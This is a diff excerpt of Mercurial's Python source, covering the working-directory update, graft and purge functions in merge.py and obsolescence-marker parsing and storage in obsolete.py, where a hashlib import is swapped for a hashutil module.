         followcopies = repo.ui.configbool(b'merge', b'followcopies')
         if overwrite:
             followcopies = False
         elif not pas[0]:
             followcopies = False
         if not branchmerge and not wc.dirty(missing=True):
             followcopies = False
 
         ### calculate phase
         actionbyfile, diverge, renamedelete = calculateupdates(
             repo,
             wc,
             p2,
             pas,
             branchmerge,
             force,
             mergeancestor,
             followcopies,
             matcher=matcher,
             mergeforce=mergeforce,
         )
 
         if updatecheck == UPDATECHECK_NO_CONFLICT:
             for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
                 if m not in (
                     ACTION_GET,
                     ACTION_KEEP,
                     ACTION_EXEC,
                     ACTION_REMOVE,
                     ACTION_PATH_CONFLICT_RESOLVE,
                 ):
                     msg = _(b"conflicting changes")
                     hint = _(b"commit or update --clean to discard changes")
                     raise error.Abort(msg, hint=hint)
 
         # Prompt and create actions. Most of this is in the resolve phase
         # already, but we can't handle .hgsubstate in filemerge or
         # subrepoutil.submerge yet so we have to keep prompting for it.
         if b'.hgsubstate' in actionbyfile:
             f = b'.hgsubstate'
             m, args, msg = actionbyfile[f]
             prompts = filemerge.partextras(labels)
             prompts[b'f'] = f
             if m == ACTION_CHANGED_DELETED:
                 if repo.ui.promptchoice(
                     _(
                         b"local%(l)s changed %(f)s which other%(o)s deleted\n"
                         b"use (c)hanged version or (d)elete?"
                         b"$$ &Changed $$ &Delete"
                     )
                     % prompts,
                     0,
                 ):
                     actionbyfile[f] = (ACTION_REMOVE, None, b'prompt delete')
                 elif f in p1:
                     actionbyfile[f] = (
                         ACTION_ADD_MODIFIED,
                         None,
                         b'prompt keep',
                     )
                 else:
                     actionbyfile[f] = (ACTION_ADD, None, b'prompt keep')
             elif m == ACTION_DELETED_CHANGED:
                 f1, f2, fa, move, anc = args
                 flags = p2[f2].flags()
                 if (
                     repo.ui.promptchoice(
                         _(
                             b"other%(o)s changed %(f)s which local%(l)s deleted\n"
                             b"use (c)hanged version or leave (d)eleted?"
                             b"$$ &Changed $$ &Deleted"
                         )
                         % prompts,
                         0,
                     )
                     == 0
                 ):
                     actionbyfile[f] = (
                         ACTION_GET,
                         (flags, False),
                         b'prompt recreating',
                     )
                 else:
                     del actionbyfile[f]
 
         # Convert to dictionary-of-lists format
         actions = emptyactions()
         for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
             if m not in actions:
                 actions[m] = []
             actions[m].append((f, args, msg))
 
         if not util.fscasesensitive(repo.path):
             # check collision between files only in p2 for clean update
             if not branchmerge and (
                 force or not wc.dirty(missing=True, branch=False)
             ):
                 _checkcollision(repo, p2.manifest(), None)
             else:
                 _checkcollision(repo, wc.manifest(), actions)
 
         # divergent renames
         for f, fl in sorted(pycompat.iteritems(diverge)):
             repo.ui.warn(
                 _(
                     b"note: possible conflict - %s was renamed "
                     b"multiple times to:\n"
                 )
                 % f
             )
             for nf in sorted(fl):
                 repo.ui.warn(b" %s\n" % nf)
 
         # rename and delete
         for f, fl in sorted(pycompat.iteritems(renamedelete)):
             repo.ui.warn(
                 _(
                     b"note: possible conflict - %s was deleted "
                     b"and renamed to:\n"
                 )
                 % f
             )
             for nf in sorted(fl):
                 repo.ui.warn(b" %s\n" % nf)
 
         ### apply phase
         if not branchmerge:  # just jump to the new rev
             fp1, fp2, xp1, xp2 = fp2, nullid, xp2, b''
         if not partial and not wc.isinmemory():
             repo.hook(b'preupdate', throw=True, parent1=xp1, parent2=xp2)
             # note that we're in the middle of an update
             repo.vfs.write(b'updatestate', p2.hex())
 
         # Advertise fsmonitor when its presence could be useful.
         #
         # We only advertise when performing an update from an empty working
         # directory. This typically only occurs during initial clone.
         #
         # We give users a mechanism to disable the warning in case it is
         # annoying.
         #
         # We only allow on Linux and MacOS because that's where fsmonitor is
         # considered stable.
         fsmonitorwarning = repo.ui.configbool(b'fsmonitor', b'warn_when_unused')
         fsmonitorthreshold = repo.ui.configint(
             b'fsmonitor', b'warn_update_file_count'
         )
         try:
             # avoid cycle: extensions -> cmdutil -> merge
             from . import extensions
 
             extensions.find(b'fsmonitor')
             fsmonitorenabled = repo.ui.config(b'fsmonitor', b'mode') != b'off'
             # We intentionally don't look at whether fsmonitor has disabled
             # itself because a) fsmonitor may have already printed a warning
             # b) we only care about the config state here.
         except KeyError:
             fsmonitorenabled = False
 
         if (
             fsmonitorwarning
             and not fsmonitorenabled
             and p1.node() == nullid
             and len(actions[ACTION_GET]) >= fsmonitorthreshold
             and pycompat.sysplatform.startswith((b'linux', b'darwin'))
         ):
             repo.ui.warn(
                 _(
                     b'(warning: large working directory being used without '
                     b'fsmonitor enabled; enable fsmonitor to improve performance; '
                     b'see "hg help -e fsmonitor")\n'
                 )
             )
 
         updatedirstate = not partial and not wc.isinmemory()
         wantfiledata = updatedirstate and not branchmerge
         stats, getfiledata = applyupdates(
             repo, actions, wc, p2, overwrite, wantfiledata, labels=labels
         )
 
         if updatedirstate:
             with repo.dirstate.parentchange():
                 repo.setparents(fp1, fp2)
                 recordupdates(repo, actions, branchmerge, getfiledata)
                 # update completed, clear state
                 util.unlink(repo.vfs.join(b'updatestate'))
 
                 if not branchmerge:
                     repo.dirstate.setbranch(p2.branch())
 
     # If we're updating to a location, clean up any stale temporary includes
     # (ex: this happens during hg rebase --abort).
     if not branchmerge:
         sparse.prunetemporaryincludes(repo)
 
     if not partial:
         repo.hook(
             b'update', parent1=xp1, parent2=xp2, error=stats.unresolvedcount
         )
     return stats
 
 
 def graft(
     repo, ctx, base, labels=None, keepparent=False, keepconflictparent=False
 ):
     """Do a graft-like merge.
 
     This is a merge where the merge ancestor is chosen such that one
     or more changesets are grafted onto the current changeset. In
     addition to the merge, this fixes up the dirstate to include only
     a single parent (if keepparent is False) and tries to duplicate any
     renames/copies appropriately.
 
     ctx - changeset to rebase
     base - merge base, usually ctx.p1()
     labels - merge labels eg ['local', 'graft']
     keepparent - keep second parent if any
     keepconflictparent - if unresolved, keep parent used for the merge
 
     """
     # If we're grafting a descendant onto an ancestor, be sure to pass
     # mergeancestor=True to update. This does two things: 1) allows the merge if
     # the destination is the same as the parent of the ctx (so we can use graft
     # to copy commits), and 2) informs update that the incoming changes are
     # newer than the destination so it doesn't prompt about "remote changed foo
     # which local deleted".
     pctx = repo[b'.']
     mergeancestor = repo.changelog.isancestor(pctx.node(), ctx.node())
 
     stats = update(
         repo,
         ctx.node(),
         True,
         True,
         base.node(),
         mergeancestor=mergeancestor,
         labels=labels,
     )
 
     if keepconflictparent and stats.unresolvedcount:
         pother = ctx.node()
     else:
         pother = nullid
         parents = ctx.parents()
         if keepparent and len(parents) == 2 and base in parents:
             parents.remove(base)
             pother = parents[0].node()
     # Never set both parents equal to each other
     if pother == pctx.node():
         pother = nullid
 
     with repo.dirstate.parentchange():
         repo.setparents(pctx.node(), pother)
         repo.dirstate.write(repo.currenttransaction())
         # fix up dirstate for copies and renames
         copies.duplicatecopies(repo, repo[None], ctx.rev(), base.rev())
     return stats
 
 
 def purge(
     repo,
     matcher,
     ignored=False,
     removeemptydirs=True,
     removefiles=True,
     abortonerror=False,
     noop=False,
 ):
     """Purge the working directory of untracked files.
 
     ``matcher`` is a matcher configured to scan the working directory -
     potentially a subset.
 
     ``ignored`` controls whether ignored files should also be purged.
 
     ``removeemptydirs`` controls whether empty directories should be removed.
 
     ``removefiles`` controls whether files are removed.
 
     ``abortonerror`` causes an exception to be raised if an error occurs
     deleting a file or directory.
 
     ``noop`` controls whether to actually remove files. If not defined, actions
     will be taken.
 
     Returns an iterable of relative paths in the working directory that were
     or would be removed.
     """
 
     def remove(removefn, path):
         try:
             removefn(path)
         except OSError:
             m = _(b'%s cannot be removed') % path
             if abortonerror:
                 raise error.Abort(m)
             else:
                 repo.ui.warn(_(b'warning: %s\n') % m)
 
     # There's no API to copy a matcher. So mutate the passed matcher and
     # restore it when we're done.
     oldtraversedir = matcher.traversedir
 
     res = []
 
     try:
         if removeemptydirs:
             directories = []
             matcher.traversedir = directories.append
 
         status = repo.status(match=matcher, ignored=ignored, unknown=True)
 
         if removefiles:
             for f in sorted(status.unknown + status.ignored):
                 if not noop:
                     repo.ui.note(_(b'removing file %s\n') % f)
                     remove(repo.wvfs.unlink, f)
                 res.append(f)
 
         if removeemptydirs:
             for f in sorted(directories, reverse=True):
                 if matcher(f) and not repo.wvfs.listdir(f):
                     if not noop:
                         repo.ui.note(_(b'removing directory %s\n') % f)
                         remove(repo.wvfs.rmdir, f)
                     res.append(f)
 
         return res
 
     finally:
         matcher.traversedir = oldtraversedir

mercurial/obsolete.py

@@ -1,1144 +1,1146
 # obsolete.py - obsolete markers handling
 #
 # Copyright 2012 Pierre-Yves David <[e-mail]>
 #                Logilab SA        <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Obsolete marker handling
 
 An obsolete marker maps an old changeset to a list of new
 changesets. If the list of new changesets is empty, the old changeset
 is said to be "killed". Otherwise, the old changeset is being
 "replaced" by the new changesets.
 
 Obsolete markers can be used to record and distribute changeset graph
 transformations performed by history rewrite operations, and help
 building new tools to reconcile conflicting rewrite actions. To
 facilitate conflict resolution, markers include various annotations
 besides old and news changeset identifiers, such as creation date or
 author name.
 
 The old obsoleted changeset is called a "predecessor" and possible
 replacements are called "successors". Markers that used changeset X as
 a predecessor are called "successor markers of X" because they hold
 information about the successors of X. Markers that use changeset Y as
 a successors are call "predecessor markers of Y" because they hold
 information about the predecessors of Y.
 
 Examples:
 
 - When changeset A is replaced by changeset A', one marker is stored:
 
     (A, (A',))
 
 - When changesets A and B are folded into a new changeset C, two markers are
   stored:
 
     (A, (C,)) and (B, (C,))
 
 - When changeset A is simply "pruned" from the graph, a marker is created:
 
     (A, ())
 
 - When changeset A is split into B and C, a single marker is used:
 
     (A, (B, C))
 
   We use a single marker to distinguish the "split" case from the "divergence"
   case. If two independent operations rewrite the same changeset A in to A' and
   A'', we have an error case: divergent rewriting. We can detect it because
   two markers will be created independently:
 
   (A, (B,)) and (A, (C,))
 
 Format
 ------
 
 Markers are stored in an append-only file stored in
 '.hg/store/obsstore'.
 
 The file starts with a version header:
 
 - 1 unsigned byte: version number, starting at zero.
 
 The header is followed by the markers. Marker format depend of the version. See
 comment associated with each format for details.
 
 """
 from __future__ import absolute_import
 
 import errno
-import hashlib
 import struct
 
 from .i18n import _
 from .pycompat import getattr
 from . import (
     encoding,
     error,
     node,
     obsutil,
     phases,
     policy,
     pycompat,
     util,
 )
-from .utils import dateutil
+from .utils import (
+    dateutil,
+    hashutil,
+)
 
 parsers = policy.importmod('parsers')
 
 _pack = struct.pack
 _unpack = struct.unpack
 _calcsize = struct.calcsize
 propertycache = util.propertycache
 
 # Options for obsolescence
 createmarkersopt = b'createmarkers'
 allowunstableopt = b'allowunstable'
 exchangeopt = b'exchange'
 
 
 def _getoptionvalue(repo, option):
     """Returns True if the given repository has the given obsolete option
     enabled.
     """
     configkey = b'evolution.%s' % option
     newconfig = repo.ui.configbool(b'experimental', configkey)
 
     # Return the value only if defined
     if newconfig is not None:
         return newconfig
 
     # Fallback on generic option
     try:
         return repo.ui.configbool(b'experimental', b'evolution')
     except (error.ConfigError, AttributeError):
         # Fallback on old-fashion config
         # inconsistent config: experimental.evolution
         result = set(repo.ui.configlist(b'experimental', b'evolution'))
 
         if b'all' in result:
             return True
 
         # Temporary hack for next check
         newconfig = repo.ui.config(b'experimental', b'evolution.createmarkers')
         if newconfig:
             result.add(b'createmarkers')
 
         return option in result
 
 
 def getoptions(repo):
     """Returns dicts showing state of obsolescence features."""
 
     createmarkersvalue = _getoptionvalue(repo, createmarkersopt)
     unstablevalue = _getoptionvalue(repo, allowunstableopt)
     exchangevalue = _getoptionvalue(repo, exchangeopt)
 
     # createmarkers must be enabled if other options are enabled
     if (unstablevalue or exchangevalue) and not createmarkersvalue:
         raise error.Abort(
             _(
                 b"'createmarkers' obsolete option must be enabled "
                 b"if other obsolete options are enabled"
             )
         )
 
     return {
         createmarkersopt: createmarkersvalue,
         allowunstableopt: unstablevalue,
         exchangeopt: exchangevalue,
     }
 
 
 def isenabled(repo, option):
     """Returns True if the given repository has the given obsolete option
     enabled.
     """
     return getoptions(repo)[option]
 
 
 # Creating aliases for marker flags because evolve extension looks for
 # bumpedfix in obsolete.py
 bumpedfix = obsutil.bumpedfix
 usingsha256 = obsutil.usingsha256
 
 ## Parsing and writing of version "0"
 #
 # The header is followed by the markers. Each marker is made of:
 #
 # - 1 uint8 : number of new changesets "N", can be zero.
 #
 # - 1 uint32: metadata size "M" in bytes.
 #
 # - 1 byte: a bit field. It is reserved for flags used in common
 #   obsolete marker operations, to avoid repeated decoding of metadata
 #   entries.
 #
 # - 20 bytes: obsoleted changeset identifier.
 #
 # - N*20 bytes: new changesets identifiers.
 #
 # - M bytes: metadata as a sequence of nul-terminated strings. Each
 #   string contains a key and a value, separated by a colon ':', without
 #   additional encoding. Keys cannot contain '\0' or ':' and values
 #   cannot contain '\0'.
 _fm0version = 0
 _fm0fixed = b'>BIB20s'
 _fm0node = b'20s'
 _fm0fsize = _calcsize(_fm0fixed)
 _fm0fnodesize = _calcsize(_fm0node)
 
 
 def _fm0readmarkers(data, off, stop):
     # Loop on markers
     while off < stop:
         # read fixed part
         cur = data[off : off + _fm0fsize]
         off += _fm0fsize
         numsuc, mdsize, flags, pre = _unpack(_fm0fixed, cur)
         # read replacement
         sucs = ()
         if numsuc:
             s = _fm0fnodesize * numsuc
             cur = data[off : off + s]
             sucs = _unpack(_fm0node * numsuc, cur)
             off += s
         # read metadata
         # (metadata will be decoded on demand)
         metadata = data[off : off + mdsize]
         if len(metadata) != mdsize:
             raise error.Abort(
                 _(
                     b'parsing obsolete marker: metadata is too '
                     b'short, %d bytes expected, got %d'
                 )
                 % (mdsize, len(metadata))
             )
         off += mdsize
         metadata = _fm0decodemeta(metadata)
         try:
             when, offset = metadata.pop(b'date', b'0 0').split(b' ')
             date = float(when), int(offset)
         except ValueError:
             date = (0.0, 0)
         parents = None
         if b'p2' in metadata:
             parents = (metadata.pop(b'p1', None), metadata.pop(b'p2', None))
         elif b'p1' in metadata:
             parents = (metadata.pop(b'p1', None),)
         elif b'p0' in metadata:
             parents = ()
         if parents is not None:
             try:
                 parents = tuple(node.bin(p) for p in parents)
                 # if parent content is not a nodeid, drop the data
                 for p in parents:
                     if len(p) != 20:
                         parents = None
                         break
             except TypeError:
                 # if content cannot be translated to nodeid drop the data.
                 parents = None
 
         metadata = tuple(sorted(pycompat.iteritems(metadata)))
 
         yield (pre, sucs, flags, metadata, date, parents)
 
 
 def _fm0encodeonemarker(marker):
     pre, sucs, flags, metadata, date, parents = marker
     if flags & usingsha256:
         raise error.Abort(_(b'cannot handle sha256 with old obsstore format'))
     metadata = dict(metadata)
     time, tz = date
     metadata[b'date'] = b'%r %i' % (time, tz)
     if parents is not None:
         if not parents:
             # mark that we explicitly recorded no parents
             metadata[b'p0'] = b''
         for i, p in enumerate(parents, 1):
             metadata[b'p%i' % i] = node.hex(p)
     metadata = _fm0encodemeta(metadata)
     numsuc = len(sucs)
     format = _fm0fixed + (_fm0node * numsuc)
     data = [numsuc, len(metadata), flags, pre]
     data.extend(sucs)
     return _pack(format, *data) + metadata
 
 
 def _fm0encodemeta(meta):
     """Return encoded metadata string to string mapping.
 
     Assume no ':' in key and no '\0' in both key and value."""
     for key, value in pycompat.iteritems(meta):
         if b':' in key or b'\0' in key:
             raise ValueError(b"':' and '\0' are forbidden in metadata key'")
         if b'\0' in value:
             raise ValueError(b"':' is forbidden in metadata value'")
     return b'\0'.join([b'%s:%s' % (k, meta[k]) for k in sorted(meta)])
 
 
 def _fm0decodemeta(data):
     """Return string to string dictionary from encoded version."""
     d = {}
     for l in data.split(b'\0'):
         if l:
             key, value = l.split(b':', 1)
             d[key] = value
     return d
 
 
 ## Parsing and writing of version "1"
 #
 # The header is followed by the markers. Each marker is made of:
 #
 # - uint32: total size of the marker (including this field)
 #
 # - float64: date in seconds since epoch
 #
 # - int16: timezone offset in minutes
 #
 # - uint16: a bit field. It is reserved for flags used in common
 #   obsolete marker operations, to avoid repeated decoding of metadata
 #   entries.
 #
 # - uint8: number of successors "N", can be zero.
 #
 # - uint8: number of parents "P", can be zero.
 #
 #     0: parents data stored but no parent,
 #     1: one parent stored,
 #     2: two parents stored,
 #     3: no parent data stored
 #
 # - uint8: number of metadata entries M
 #
 # - 20 or 32 bytes: predecessor changeset identifier.
 #
 # - N*(20 or 32) bytes: successors changesets identifiers.
 #
 # - P*(20 or 32) bytes: parents of the predecessors changesets.
 #
 # - M*(uint8, uint8): size of all metadata entries (key and value)
 #
 # - remaining bytes: the metadata, each (key, value) pair after the other.
 _fm1version = 1
 _fm1fixed = b'>IdhHBBB20s'
 _fm1nodesha1 = b'20s'
 _fm1nodesha256 = b'32s'
 _fm1nodesha1size = _calcsize(_fm1nodesha1)
 _fm1nodesha256size = _calcsize(_fm1nodesha256)
 _fm1fsize = _calcsize(_fm1fixed)
 _fm1parentnone = 3
 _fm1parentshift = 14
 _fm1parentmask = _fm1parentnone << _fm1parentshift
 _fm1metapair = b'BB'
 _fm1metapairsize = _calcsize(_fm1metapair)
 
 
 def _fm1purereadmarkers(data, off, stop):
     # make some global constants local for performance
     noneflag = _fm1parentnone
     sha2flag = usingsha256
     sha1size = _fm1nodesha1size
     sha2size = _fm1nodesha256size
     sha1fmt = _fm1nodesha1
     sha2fmt = _fm1nodesha256
     metasize = _fm1metapairsize
     metafmt = _fm1metapair
     fsize = _fm1fsize
     unpack = _unpack
 
     # Loop on markers
     ufixed = struct.Struct(_fm1fixed).unpack
 
     while off < stop:
         # read fixed part
         o1 = off + fsize
         t, secs, tz, flags, numsuc, numpar, nummeta, prec = ufixed(data[off:o1])
 
         if flags & sha2flag:
             # FIXME: prec was read as a SHA1, needs to be amended
 
             # read 0 or more successors
             if numsuc == 1:
                 o2 = o1 + sha2size
                 sucs = (data[o1:o2],)
             else:
                 o2 = o1 + sha2size * numsuc
                 sucs = unpack(sha2fmt * numsuc, data[o1:o2])
 
             # read parents
             if numpar == noneflag:
                 o3 = o2
                 parents = None
             elif numpar == 1:
                 o3 = o2 + sha2size
                 parents = (data[o2:o3],)
             else:
                 o3 = o2 + sha2size * numpar
                 parents = unpack(sha2fmt * numpar, data[o2:o3])
         else:
             # read 0 or more successors
             if numsuc == 1:
                 o2 = o1 + sha1size
                 sucs = (data[o1:o2],)
             else:
                 o2 = o1 + sha1size * numsuc
                 sucs = unpack(sha1fmt * numsuc, data[o1:o2])
 
             # read parents
             if numpar == noneflag:
                 o3 = o2
                 parents = None
             elif numpar == 1:
                 o3 = o2 + sha1size
                 parents = (data[o2:o3],)
             else:
                 o3 = o2 + sha1size * numpar
                 parents = unpack(sha1fmt * numpar, data[o2:o3])
 
         # read metadata
         off = o3 + metasize * nummeta
         metapairsize = unpack(b'>' + (metafmt * nummeta), data[o3:off])
         metadata = []
         for idx in pycompat.xrange(0, len(metapairsize), 2):
             o1 = off + metapairsize[idx]
             o2 = o1 + metapairsize[idx + 1]
             metadata.append((data[off:o1], data[o1:o2]))
             off = o2
 
         yield (prec, sucs, flags, tuple(metadata), (secs, tz * 60), parents)
 
 
 def _fm1encodeonemarker(marker):
     pre, sucs, flags, metadata, date, parents = marker
     # determine node size
     _fm1node = _fm1nodesha1
     if flags & usingsha256:
         _fm1node = _fm1nodesha256
     numsuc = len(sucs)
     numextranodes = numsuc
     if parents is None:
         numpar = _fm1parentnone
     else:
         numpar = len(parents)
         numextranodes += numpar
     formatnodes = _fm1node * numextranodes
     formatmeta = _fm1metapair * len(metadata)
     format = _fm1fixed + formatnodes + formatmeta
     # tz is stored in minutes so we divide by 60
     tz = date[1] // 60
     data = [None, date[0], tz, flags, numsuc, numpar, len(metadata), pre]
     data.extend(sucs)
     if parents is not None:
         data.extend(parents)
     totalsize = _calcsize(format)
     for key, value in metadata:
         lk = len(key)
         lv = len(value)
         if lk > 255:
             msg = (
                 b'obsstore metadata key cannot be longer than 255 bytes'
                 b' (key "%s" is %u bytes)'
             ) % (key, lk)
             raise error.ProgrammingError(msg)
         if lv > 255:
             msg = (
                 b'obsstore metadata value cannot be longer than 255 bytes'
                 b' (value "%s" for key "%s" is %u bytes)'
             ) % (value, key, lv)
             raise error.ProgrammingError(msg)
         data.append(lk)
         data.append(lv)
         totalsize += lk + lv
     data[0] = totalsize
     data = [_pack(format, *data)]
     for key, value in metadata:
         data.append(key)
         data.append(value)
     return b''.join(data)
 
 
 def _fm1readmarkers(data, off, stop):
     native = getattr(parsers, 'fm1readmarkers', None)
     if not native:
         return _fm1purereadmarkers(data, off, stop)
     return native(data, off, stop)
 
 
 # mapping to read/write various marker formats
 # <version> -> (decoder, encoder)
 formats = {
     _fm0version: (_fm0readmarkers, _fm0encodeonemarker),
     _fm1version: (_fm1readmarkers, _fm1encodeonemarker),
 }
 
 
 def _readmarkerversion(data):
     return _unpack(b'>B', data[0:1])[0]
 
 
 @util.nogc
 def _readmarkers(data, off=None, stop=None):
     """Read and enumerate markers from raw data"""
     diskversion = _readmarkerversion(data)
     if not off:
         off = 1  # skip 1 byte version number
     if stop is None:
         stop = len(data)
     if diskversion not in formats:
         msg = _(b'parsing obsolete marker: unknown version %r') % diskversion
         raise error.UnknownVersion(msg, version=diskversion)
     return diskversion, formats[diskversion][0](data, off, stop)
 
 
 def encodeheader(version=_fm0version):
     return _pack(b'>B', version)
 
 
 def encodemarkers(markers, addheader=False, version=_fm0version):
     # Kept separate from flushmarkers(), it will be reused for
     # markers exchange.
     encodeone = formats[version][1]
     if addheader:
         yield encodeheader(version)
     for marker in markers:
         yield encodeone(marker)
 
 
 @util.nogc
 def _addsuccessors(successors, markers):
     for mark in markers:
         successors.setdefault(mark[0], set()).add(mark)
 
 
 @util.nogc
 def _addpredecessors(predecessors, markers):
     for mark in markers:
         for suc in mark[1]:
             predecessors.setdefault(suc, set()).add(mark)
 
 
 @util.nogc
 def _addchildren(children, markers):
     for mark in markers:
         parents = mark[5]
         if parents is not None:
             for p in parents:
                 children.setdefault(p, set()).add(mark)
 
 
 def _checkinvalidmarkers(markers):
     """search for marker with invalid data and raise error if needed
 
     Exist as a separated function to allow the evolve extension for a more
     subtle handling.
     """
     for mark in markers:
         if node.nullid in mark[1]:
             raise error.Abort(
                 _(
                     b'bad obsolescence marker detected: '
                     b'invalid successors nullid'
                 )
             )
 
 
 class obsstore(object):
     """Store obsolete markers
 
     Markers can be accessed with two mappings:
     - predecessors[x] -> set(markers on predecessors edges of x)
     - successors[x] -> set(markers on successors edges of x)
     - children[x]   -> set(markers on predecessors edges of children(x)
     """
 
     fields = (b'prec', b'succs', b'flag', b'meta', b'date', b'parents')
     # prec:    nodeid, predecessors changesets
     # succs:   tuple of nodeid, successor changesets (0-N length)
     # flag:    integer, flag field carrying modifier for the markers (see doc)
     # meta:    binary blob in UTF-8, encoded metadata dictionary
     # date:    (float, int) tuple, date of marker creation
     # parents: (tuple of nodeid) or None, parents of predecessors
     #          None is used when no data has been recorded
 
     def __init__(self, svfs, defaultformat=_fm1version, readonly=False):
         # caches for various obsolescence related cache
         self.caches = {}
         self.svfs = svfs
         self._defaultformat = defaultformat
         self._readonly = readonly
 
     def __iter__(self):
         return iter(self._all)
 
     def __len__(self):
         return len(self._all)
 
     def __nonzero__(self):
         if not self._cached('_all'):
             try:
                 return self.svfs.stat(b'obsstore').st_size > 1
             except OSError as inst:
                 if inst.errno != errno.ENOENT:
                     raise
                 # just build an empty _all list if no obsstore exists, which
                 # avoids further stat() syscalls
         return bool(self._all)
 
     __bool__ = __nonzero__
 
     @property
     def readonly(self):
         """True if marker creation is disabled
 
         Remove me in the future when obsolete marker is always on."""
         return self._readonly
 
     def create(
         self,
         transaction,
         prec,
         succs=(),
         flag=0,
         parents=None,
         date=None,
         metadata=None,
         ui=None,
     ):
         """obsolete: add a new obsolete marker
 
         * ensuring it is hashable
         * check mandatory metadata
         * encode metadata
 
         If you are a human writing code creating marker you want to use the
         `createmarkers` function in this module instead.
 
         return True if a new marker have been added, False if the markers
         already existed (no op).
         """
         if metadata is None:
             metadata = {}
         if date is None:
             if b'date' in metadata:
                 # as a courtesy for out-of-tree extensions
                 date = dateutil.parsedate(metadata.pop(b'date'))
             elif ui is not None:
                 date = ui.configdate(b'devel', b'default-date')
                 if date is None:
                     date = dateutil.makedate()
             else:
                 date = dateutil.makedate()
         if len(prec) != 20:
             raise ValueError(prec)
         for succ in succs:
             if len(succ) != 20:
                 raise ValueError(succ)
         if prec in succs:
             raise ValueError(
                 'in-marker cycle with %s' % pycompat.sysstr(node.hex(prec))
             )
 
         metadata = tuple(sorted(pycompat.iteritems(metadata)))
         for k, v in metadata:
             try:
                 # might be better to reject non-ASCII keys
                 k.decode('utf-8')
                 v.decode('utf-8')
             except UnicodeDecodeError:
                 raise error.ProgrammingError(
                     b'obsstore metadata must be valid UTF-8 sequence '
                     b'(key = %r, value = %r)'
                     % (pycompat.bytestr(k), pycompat.bytestr(v))
                 )
 
         marker = (bytes(prec), tuple(succs), int(flag), metadata, date, parents)
         return bool(self.add(transaction, [marker]))
 
     def add(self, transaction, markers):
         """Add new markers to the store
 
         Take care of filtering duplicate.
         Return the number of new marker."""
         if self._readonly:
             raise error.Abort(
                 _(b'creating obsolete markers is not enabled on this repo')
             )
         known = set()
         getsuccessors = self.successors.get
         new = []
         for m in markers:
             if m not in getsuccessors(m[0], ()) and m not in known:
                 known.add(m)
                 new.append(m)
         if new:
             f = self.svfs(b'obsstore', b'ab')
             try:
                 offset = f.tell()
                 transaction.add(b'obsstore', offset)
                 # offset == 0: new file - add the version header
                 data = b''.join(encodemarkers(new, offset == 0, self._version))
                 f.write(data)
             finally:
                 # XXX: f.close() == filecache invalidation == obsstore rebuilt.
                 # call 'filecacheentry.refresh()'  here
                 f.close()
             addedmarkers = transaction.changes.get(b'obsmarkers')
             if addedmarkers is not None:
                 addedmarkers.update(new)
             self._addmarkers(new, data)
             # new marker *may* have changed several set. invalidate the cache.
             self.caches.clear()
         # records the number of new markers for the transaction hooks
         previous = int(transaction.hookargs.get(b'new_obsmarkers', b'0'))
         transaction.hookargs[b'new_obsmarkers'] = b'%d' % (previous + len(new))
         return len(new)
 
     def mergemarkers(self, transaction, data):
         """merge a binary stream of markers inside the obsstore
 
         Returns the number of new markers added."""
         version, markers = _readmarkers(data)
         return self.add(transaction, markers)
 
     @propertycache
     def _data(self):
         return self.svfs.tryread(b'obsstore')
 
     @propertycache
     def _version(self):
         if len(self._data) >= 1:
             return _readmarkerversion(self._data)
         else:
             return self._defaultformat
 
     @propertycache
     def _all(self):
         data = self._data
         if not data:
             return []
         self._version, markers = _readmarkers(data)
         markers = list(markers)
         _checkinvalidmarkers(markers)
         return markers
 
     @propertycache
     def successors(self):
         successors = {}
         _addsuccessors(successors, self._all)
         return successors
 
     @propertycache
     def predecessors(self):
         predecessors = {}
         _addpredecessors(predecessors, self._all)
         return predecessors
 
     @propertycache
     def children(self):
         children = {}
         _addchildren(children, self._all)
         return children
 
     def _cached(self, attr):
         return attr in self.__dict__
 
     def _addmarkers(self, markers, rawdata):
         markers = list(markers)  # to allow repeated iteration
         self._data = self._data + rawdata
         self._all.extend(markers)
         if self._cached('successors'):
             _addsuccessors(self.successors, markers)
         if self._cached('predecessors'):
             _addpredecessors(self.predecessors, markers)
         if self._cached('children'):
             _addchildren(self.children, markers)
         _checkinvalidmarkers(markers)
 
     def relevantmarkers(self, nodes):
         """return a set of all obsolescence markers relevant to a set of nodes.
 
         "relevant" to a set of nodes mean:
 
         - marker that use this changeset as successor
         - prune marker of direct children on this changeset
         - recursive application of the two rules on predecessors of these
           markers
 
         It is a set so you cannot rely on order."""
 
         pendingnodes = set(nodes)
         seenmarkers = set()
         seennodes = set(pendingnodes)
         precursorsmarkers = self.predecessors
         succsmarkers = self.successors
         children = self.children
         while pendingnodes:
             direct = set()
             for current in pendingnodes:
                 direct.update(precursorsmarkers.get(current, ()))
                 pruned = [m for m in children.get(current, ()) if not m[1]]
                 direct.update(pruned)
                 pruned = [m for m in succsmarkers.get(current, ()) if not m[1]]
                 direct.update(pruned)
             direct -= seenmarkers
             pendingnodes = {m[0] for m in direct}
             seenmarkers |= direct
             pendingnodes -= seennodes
             seennodes |= pendingnodes
         return seenmarkers
 
 
 def makestore(ui, repo):
     """Create an obsstore instance from a repo."""
     # read default format for new obsstore.
     # developer config: format.obsstore-version
     defaultformat = ui.configint(b'format', b'obsstore-version')
     # rely on obsstore class default when possible.
     kwargs = {}
     if defaultformat is not None:
         kwargs['defaultformat'] = defaultformat
     readonly = not isenabled(repo, createmarkersopt)
     store = obsstore(repo.svfs, readonly=readonly, **kwargs)
     if store and readonly:
         ui.warn(
             _(b'obsolete feature not enabled but %i markers found!\n')
             % len(list(store))
         )
     return store
 
 
 def commonversion(versions):
     """Return the newest version listed in both versions and our local formats.
 
     Returns None if no common version exists.
     """
     versions.sort(reverse=True)
     # search for highest version known on both side
     for v in versions:
         if v in formats:
             return v
     return None
 
 
 # arbitrary picked to fit into 8K limit from HTTP server
 # you have to take in account:
 # - the version header
 # - the base85 encoding
 _maxpayload = 5300
 
 
 def _pushkeyescape(markers):
     """encode markers into a dict suitable for pushkey exchange
 
     - binary data is base85 encoded
     - split in chunks smaller than 5300 bytes"""
     keys = {}
     parts = []
     currentlen = _maxpayload * 2  # ensure we create a new part
     for marker in markers:
         nextdata = _fm0encodeonemarker(marker)
         if len(nextdata) + currentlen > _maxpayload:
             currentpart = []
             currentlen = 0
             parts.append(currentpart)
         currentpart.append(nextdata)
         currentlen += len(nextdata)
     for idx, part in enumerate(reversed(parts)):
         data = b''.join([_pack(b'>B', _fm0version)] + part)
         keys[b'dump%i' % idx] = util.b85encode(data)
     return keys
 
 
